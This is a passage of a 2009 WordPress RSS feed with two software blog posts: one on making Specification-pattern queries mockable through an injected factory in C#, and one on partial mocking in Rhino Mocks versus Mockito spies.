		var customers = repository.Query(new WithinAgeCustomerSpecification(ageFrom, ageTo));
		return View(&quot;search&quot;, customers);
	}
}
</pre><br />
That little call to &#8220;new WithinAgeCustomerSpecification(..)&#8221; makes it virtually impossible to mock the specification and take it out from the test concern. Linq and Extension method in approach #2 and #3 certainly don&#8217;t help.<br />
Why do we care to mock the specification? Because, mind you again, testing queries _IS_ painful! It&#8217;s tedious to setup stub-data and verify query result. Each of the specification has had this kind of unit-test themselves, and we certainly _DO_NOT_ want to repeat the test in the controller. For sake of discussion, this is how the unit-test for the controller would look like using unmocked Specification.<br />
<pre class="brush: csharp;">
ShouldLoadSearchView();
CanLoadCustomerByEmailAddressToViewData();
CanLoadCustomerByNameToViewData();
CanLoadCustomerByAgeToViewData();
CanLoadCustomerByNameAndEmailAddressToViewData();
// etc etc
</pre><br />
Each test-case deals with tedious in-memory/sqlite stub data. I don&#8217;t even understand why I need to care about data and Sqlite to unit-test UI/Application layer. It just doesn&#8217;t make sense.<br />
And guess how the unit-test for the specification looks like.<br />
<pre class="brush: csharp;">
CanSearchByEmailAddress();
CanSearchByName();
CanSearchByAge();
CanSearchByNameAndEmailAddress();
// etc etc
</pre><br />
That&#8217;s right, duplication. Not to mention tediously data-driven. Generally, you want to avoid testing that involves data and query. For comparisson, this is how the test for the controller would look like with mocked specification.<br />
<pre class="brush: csharp;">
ShouldLoadSearchView();
ShouldSearchCustomerUsingCorrectSpecification();
ShouldLoadSearchResultToViewData();
</pre></p>
<p>Yes, that&#8217;s all we care: &#8220;controller should use correct specification to search the customer&#8221;. We don&#8217;t care if the specification actually does what it claims it does. That&#8217;s for other developers to care.<br />
<a name="solution"></a></p>
<h1>Solution</h1>
<p>By wrapping Specifications into a factory, we decouple the controller from Specification implementation.<br />
<pre class="brush: csharp;">
public class CustomerController: Controller
{
	IRepository repository; //Injected
	ICustomerSpecFactory whereCustomer; //Injected
	
	public ActionResult Search(int? ageFrom, int? ageTo)
	{
		var customers = repository.Query(whereCustomer.HasAgeBetween(ageFrom, ageTo));
		return View(&quot;search&quot;, customers);
	}
}
</pre><br />
Unit-test is a breeze.<br />
<pre class="brush: csharp;">
whereCustomer.Expect(x =&gt; x.HasAgeBetween(20, 30))
	.Return(stubSpec = MockRepository.Generate&lt;Specification&lt;Customer&gt;&gt;);
customerRepository.Expect(x =&gt; x.Query(stubSpec)).Return(stubCustomers);

var view = customerController.Search(20, 30); // EXECUTE CONTROLLER ACTION
Assert.That(view.Model, Is.EqualTo(stubCustomer);
</pre><br />
<strong>EDIT</strong>: I <a href="http://hendryluk.wordpress.com/2009/04/20/dont-limit-yourself-to-mocking-frameworks/">posted</a> a better way to write unit-test for this</p>
<p>I actually like it a lot! The specification is also amazingly flexible to mix and play. E.g.:<br />
<pre class="brush: csharp;">
repository.Query((whereCustomer.HasAgeBetween(20, 30) || whereCustomer.LivesIn(&quot;Berlin&quot;)) &amp;&amp; !whereCustomer.IsVIP());
</pre><br />
And they&#8217;re still testable and mock-friendly. Now that we know I like this approach, let&#8217;s take a look on the implementation of specificatin pattern.<br />
<pre class="brush: csharp;">
public class CustomerQuery: ICustomerQuery
{
	public ISpecification&lt;Customer&gt; MathesUserSearchFilters(string email, string name, int? ageFrom, int? ageTo, bool isTerminated)
	{
		var result = Specification&lt;Customer&gt;.TRUE;
		if(email != null)
			result &amp;= new Specification&lt;Customer&gt;(x =&gt; x.email.ToLower() == email.ToLower());
		if(name != null)
			result &amp;= new Specification&lt;Customer&gt;(x =&gt; x.Name.ToLower().Contains(name.ToLower());
		if(ageFrom != null)
			result &amp;= IsOlderThan(ageFrom.Value);
		if(ageTo != null)
			result &amp;= !IsOlderThan(ageTo.Value);
		if(isTerminated != null)
			result &amp;= (isTerminated)?IsTerminated():!IsTerminated();
		return result;
	}
	public ISpecification&lt;Customer&gt; IsOlderThan(int yearOld) {/*..*/}
	public ISpecification&lt;Customer&gt; IsTerminated() {/*..*/}
}
</pre><br />
Unlike Linq criteria, Specification plays incredibly well with building dynamic query! And that&#8217;s not the best part yet. These Specifications are not mere DB queries. Write once, use it everywhere. It can be used for object-filtering or validation.<br />
<pre class="brush: csharp;">
var terminatedCustomers = customerList.FindAll(whereCustomer.IsTerminated()); 
</pre><br />
Or:<br />
<pre class="brush: csharp;">
Validate(customer, !whereCustomer.IsTerminated())
	.Message(&quot;The customer had been terminated. Please enter an active customer&quot;);
</pre></p>
<p>Code for <a href="http://www.codeinsanity.com/2008/08/repository-pattern.html">sample Specification API</a> can be found in Ritesh Rao&#8217;s post.</p>
<h2>Where are we?</h2>
<p>Oh yes, our initial objective: plugging in new screen/functionality in Open-Closed Principle fashion. Not a problem. The query can live in separate assembly, and it&#8217;s easy for the client to introduce their own set of Specifications that meets their querying needs for their plugins.<br />
This approach also gives us the liberty to override the specification implementation, e.g. to comply with specific persistence technology, or database-structure. Say, if Customer.Name is implemented as FIRST_NAME and LAST_NAME columns. Overriding Specification implementation is not possible with &#8220;new&#8221; keyword or extension method approach, since the application is tightly coupled to specific Specification implementation.<br />
This allows clients to extend the domain entity with their business-specific properties and persistence-structure.</p>
<br /> Tagged: Linq, nHibernate <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/274/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=274&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2009/03/23/extensible-query-with-specification-patterns/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>Partial Mock is Your Friend</title>
		<link>http://hendryluk.wordpress.com/2009/02/05/partial-mock-is-your-friend/</link>
		<comments>http://hendryluk.wordpress.com/2009/02/05/partial-mock-is-your-friend/#comments</comments>
		<pubDate>Thu, 05 Feb 2009 06:28:23 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Rhino Mock]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=261</guid>
		<description><![CDATA[UPDATE: Mockito now supports real partial-mock since 1.8.0 Rhino-Mock has one dangerous ability that I find useful from time to time, known as partial-mock. Right now, I&#8217;m working on a Java project using Mockito, and I find it &#8220;deliberately&#8221; lacking this dangerous yet delicious ability. Mockito has spy method which is quite similar as partial [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=261&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>UPDATE: </strong> Mockito now <a href="http://code.google.com/p/mockito/wiki/ReleaseNotes">supports</a> real partial-mock since 1.8.0<br />
<br />
Rhino-Mock has one dangerous ability that I find useful from time to time, known as partial-mock.<br />
Right now, I&#8217;m working on a Java project using Mockito, and I find it &#8220;deliberately&#8221; lacking this dangerous yet delicious ability.<br />
Mockito has spy method which is quite similar as partial mock, except that it is not. Here&#8217;s what I&#8217;m talking about<br />
<pre class="brush: java;">
public void canGetAWarmWelcome()
{
	SUT sut = spy(new SUT());
	when(mock.getName()).thenReturn(&quot;Darling&quot;);
	
	assertEqual(&quot;Darling&quot;, sut.getName());
	assertEqual(&quot;Hello, Darling&quot;, sut.getWarmWelcome());
}

public class SUT
{
	public String getWarmWelcome()
	{
		return &quot;Hello, &quot; + this.getName();
	}

	public String getName()
	{
		return &quot;Hendry&quot;;
	}
}
</pre></p>
<p>Using partial mock, both assertions in this test-class would pass. Using mockito spy, however, the second assertion will fail. I.e., you can&#8217;t invoke a spy method from the real SUT method from same object.</p>
<p>This is mostly by-design decision on Mockity side. <a href="http://monkeyisland.pl/2009/01/13/subclass-and-override-vs-partial-mocking-vs-refactoring/">The author argues</a> that partial mocking smells fishy, and that it&#8217;s better to refactor the code and eliminates the need for partial-mocking.<br />
I don&#8217;t completely agree. There are many occassions where partial-mocking can be useful particualrly when you are dealing with third party API.<br />
I am trying to write a unit-test over a web-service client code using axis. Part of the code are autogenerated from WSDL, and I can&#8217;t refactor it to suit my unit-test.<br />
As a brief picture, here&#8217;s the autogenerated the class I&#8217;m trying to mock (partially).<br />
<pre class="brush: java;">
public AccountServiceBindingStub extends Stub implements AccountService_PortType
{
	public AccountDetailResponse getAccountDetail(AccountQueryRequest accountQueryRequest)
	{
		Call call = createCall();
		call.setOperationName(new QName(&quot;&quot;, &quot;getAccountDetail&quot;));
		/*
		call.setxxxx(...);
		call.setxxx(...);
		*/
		
		call.invoke(param);
	}
	
	protected Call createCall()
	{
		Call call = new Call();
		/*
		etc etc
		*/
	}
}
</pre><br />
That little naughty call to &#8220;new Call()&#8221; closes the door for dependency injection. It makes it impossible for me to sneak in a fake Call instance that returns a stubbed constant string of SOAP response, substituting for making a real HTTP connection to the actual back-end.<br />
Before you ask, I know you might be wondering why I want to involve autogenerated classes into the equation of my unit-test. Shouldnt I be mocking this whole class altogether and stub the AccountDetailResponse object directly (rather than stubbing the SOAP message)? Afterall, I&#8217;m not trying to test classes that is autogenerated by axis tool. Or am I?<br />
The reasoning behind this is down to idiosyncrasies we have been facing in transforming SOAP message to domain model, which is exactly what we want to cover in this unit-test. For instance, cents/dollar units, negative/possitive balance sign, with/without currency symbols, PREPAID vs prepaid, and other more subtle issues. So we want to capture several actual SOAP response samples the server provides, and write some test-cases against them.<br />
And yes, I could just write subclass of the class above, and override createCall(). But I have lots of those classes, and I don&#8217;t want to pollute my test-cases with obscure technical detail of how I fake the Call.<br />
So I wanted to encapsulate this hacky faking-logic to a test helper that generates the runtime subclasses for me&#8230; which is precisely a <em>partial-mock</em> by definition (or reinventing thereof)</p>
<br /> Tagged: Rhino Mock, Tools <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/261/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=261&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2009/02/05/partial-mock-is-your-friend/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
	</channel>
</rss>
